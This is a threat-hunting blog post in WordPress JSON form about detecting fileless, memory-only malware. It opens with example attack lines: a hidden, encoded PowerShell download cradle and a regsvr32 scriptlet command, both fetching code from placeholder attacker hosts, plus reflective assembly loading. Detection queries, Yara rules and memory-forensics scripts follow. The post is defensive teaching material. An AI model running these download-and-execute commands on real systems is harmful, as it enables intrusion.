{"id":306,"date":"2026-04-07T09:00:00","date_gmt":"2026-04-07T09:00:00","guid":{"rendered":"http:\/\/justruss.tech\/index.php\/2025\/05\/01\/memory-only-malware-hunting-threats-that-never-touch-disk-2\/"},"modified":"2026-05-15T10:34:55","modified_gmt":"2026-05-15T10:34:55","slug":"memory-only-malware-hunting-threats-that-never-touch-disk-2","status":"publish","type":"post","link":"https:\/\/justruss.tech\/index.php\/2026\/04\/07\/memory-only-malware-hunting-threats-that-never-touch-disk-2\/","title":{"rendered":"Memory-Only Malware: Hunting Threats That Never Touch Disk"},"content":{"rendered":"<p>Fileless malware does not mean &#8220;no files anywhere.&#8221; It means the malicious payload never exists as a standalone file on the filesystem that can be scanned. The payload lives in memory, in registry keys, in scheduled tasks with base64-encoded commands, in WMI subscriptions, or in macros inside legitimate Office documents. The executable code itself never sits on disk as a PE file. File-based AV and even many EDR products that focus on file scanning have significant blind spots here.<\/p>\n<h3>Fileless delivery mechanisms<\/h3>\n<pre>\/\/ Method 1: PowerShell download cradle (most common)\n\/\/ The payload downloads and executes entirely in memory\npowershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc [base64]\n\/\/ Decodes to:\n\/\/ IEX (New-Object Net.WebClient).DownloadString('https:\/\/c2.attacker.com\/stage2.ps1')\n\/\/ Stage 2 downloads stage 3, all in memory\n\n\/\/ Method 2: .NET reflection loading\n\/\/ Load a .NET assembly from bytes without writing to disk\n[Reflection.Assembly]::Load([System.Convert]::FromBase64String(\"TVqQAAMAAAA...\"))\n\/\/ The assembly is loaded directly from memory\n\/\/ No file ever written to disk\n\/\/ Does not appear in module lists for file-based scanning\n\n\/\/ Method 3: Excel\/Word macro -&gt; shellcode injection\n\/\/ Document contains macro that:\n\/\/ 1. Reads shellcode from document content or downloads it\n\/\/ 2. Allocates RWX memory via VirtualAlloc\n\/\/ 3. Copies shellcode to RWX memory\n\/\/ 4. Creates thread to execute it\n\/\/ Nothing on disk except the Office document which is \"legitimate\"\n\n\/\/ Method 4: LOLBAS (Living off the Land Binaries and Scripts)\n\/\/ Use built-in Windows tools to execute downloaded content\n\/\/ Example: regsvr32 \/s \/u \/i:https:\/\/c2.example.com\/payload.sct scrobj.dll\n\/\/ Executes COM scriptlet directly from URL, nothing on disk<\/pre>\n<h3>Detection layer 1: PowerShell script block logging<\/h3>\n<pre>\/\/ Script block logging (Event ID 4104) captures PowerShell after deobfuscation\n\/\/ This is the primary detection for PowerShell-based fileless execution\n\n\/\/ Elastic EQL: detect fileless PowerShell execution chain\nsequence by host.name with maxspan=2m\n [process where process.name == \"powershell.exe\"\n and process.command_line : (\"*-enc*\", \"*-EncodedCommand*\", \"*-nop*\")]\n [network where process.name == \"powershell.exe\"\n and not network.destination.ip : (\"10.*\", \"172.16.*\", \"192.168.*\")]\n\n\/\/ The sequence: hidden encoded PowerShell immediately makes outbound network connection\n\/\/ This is a download cradle pattern regardless of what the payload is<\/pre>\n<pre>\/\/ Splunk: detect .NET reflection loading in PowerShell\nindex=wineventlog source=\"Microsoft-Windows-PowerShell\/Operational\" EventCode=4104\n| where match(ScriptBlockText, \"(?i)(\\[Reflection\\.Assembly\\]|Assembly::Load|Assembly::LoadWithPartialName)\")\n| where match(ScriptBlockText, \"(?i)(FromBase64|Convert::From|ToBase64|[A-Za-z0-9+\/]{100,})\")\n\/\/ Matches: Assembly loaded from base64 data - almost never legitimate\n| table _time, host, ScriptBlockText | sort -_time<\/pre>\n<h3>Detection layer 2: memory scanning with Yara<\/h3>\n<pre>\/\/ Scan running processes for malicious patterns in memory\n\/\/ This catches fileless malware that file-based scanning misses\n\n\/\/ Yara rules for common fileless payloads in memory\nrule Fileless_Meterpreter_Reflective {\n meta:\n description = \"Detects Meterpreter reflective DLL in process memory\"\n strings:\n $reflective_loader = \"ReflectiveLoader\" ascii\n $meterpreter_str = \"meterpreter\" ascii nocase\n $mz_header = { 4D 5A 90 00 }\n condition:\n $mz_header at 0 and ($reflective_loader or $meterpreter_str)\n}\n\nrule Fileless_CobaltStrike_Beacon {\n meta:\n description = \"Detects CobaltStrike beacon shellcode patterns\"\n strings:\n $beacon_config_xor = { FC 48 83 E4 F0 } \/\/ common CS beacon preamble\n $sleep_mask = { C7 44 24 ?? 01 00 00 00 } \/\/ sleep mask pattern\n condition:\n any of them\n}\n\n\/\/ Scan all running processes\nyara -p 4 combined_memory_rules.yar $(ps -ax -o pid= | tr -s ' ')<\/pre>\n<pre>\/\/ Volatility malfind for memory-only malware detection\nvol -f memory.raw windows.malfind\n\n\/\/ What to look for:\n\/\/ 1. PAGE_EXECUTE_READWRITE regions (RWX memory = injection site or shellcode staging)\n\/\/ 2. MZ headers in RWX regions with no disk-backed file\n\/\/ 3. PE files in memory without corresponding loader database entries\n\/\/ 4. Shellcode signatures in executable anonymous memory regions\n\n\/\/ Automate malfind triage\nvol -f memory.raw windows.malfind | python3 -c \"\nimport sys, re\n\ncurrent_pid = None\nmz_regions = []\n\nfor line in sys.stdin:\n pid_match = re.search(r'Pid: (\\d+)', line)\n if pid_match:\n current_pid = pid_match.group(1)\n\n # Flag MZ headers in executable memory\n if '4d 5a 90 00' in line.lower() or 'MZ' in line:\n print(f'SUSPICIOUS: PID {current_pid} has PE header in executable memory')\n print(f' Line: {line.strip()}')\n\"<\/pre>\n<h3>Detection layer 3: ETW process injection telemetry<\/h3>\n<pre>\/\/ The Microsoft-Windows-Threat-Intelligence ETW provider captures\n\/\/ VirtualAllocEx, WriteProcessMemory, NtMapViewOfSection at kernel level\n\/\/ This catches fileless injection even when direct syscalls are used\n\n\/\/ Using SilkETW to consume ETWTI events\nSilkETW.exe -t kernel -kk ProcessCreate,ImageLoad,VirtualAlloc `\n -ot file -p C:\\logs\\etwti.json\n\n\/\/ Parse for RWX allocations\npython3 -c \"\nimport json, sys\n\nwith open('C:\\logs\\etwti.json') as f:\n for line in f:\n try:\n evt = json.loads(line)\n if evt.get('EventName') == 'VirtualAlloc':\n protection = evt.get('ProtectFlags', 0)\n # PAGE_EXECUTE_READWRITE = 0x40\n if protection == 0x40:\n print('RWX ALLOC:', json.dumps(evt, indent=2))\n except:\n pass\n\"<\/pre>\n<h3>Detection layer 4: amsi scan results<\/h3>\n<pre>\/\/ AMSI scans all script content before execution\n\/\/ Event ID 1101 in Microsoft-Antimalware-Scan-Interface log captures scan results\n\nGet-WinEvent -LogName \"Microsoft-Antimalware-Scan-Interface\" |\n Where-Object {$_.Id -eq 1101 -and $_.Level -eq 4} | \/\/ Level 4 = Warning\/Detection\n Select-Object TimeCreated, Message | Format-List\n\n\/\/ AMSI bypasses are themselves detectable via Sysmon Event ID 25\n\/\/ (ProcessTampering - module patched in memory)\nGet-WinEvent -LogName \"Microsoft-Windows-Sysmon\/Operational\" |\n Where-Object {$_.Id -eq 25} |\n Select-Object TimeCreated, Message | Format-List<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Fileless malware executes entirely in memory, leaving no binary for file-based scanning to find. PowerShell cradles, .NET reflection loading, shellcode injection, and process hollowing are all fileless techniques. This is how to detect execution that never touches disk.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-306","post","type-post","status-publish","format-standard","hentry","category-threat-hunting"],"_links":{"self":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/306","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/comments?post=306"}],"version-history":[{"count":1,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/306\/revisions"}],"predecessor-version":[{"id":351,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/306\/revisions\/351"}],"wp:attachment":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/media?parent=306"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/categories?post=306"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/tags?post=306"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}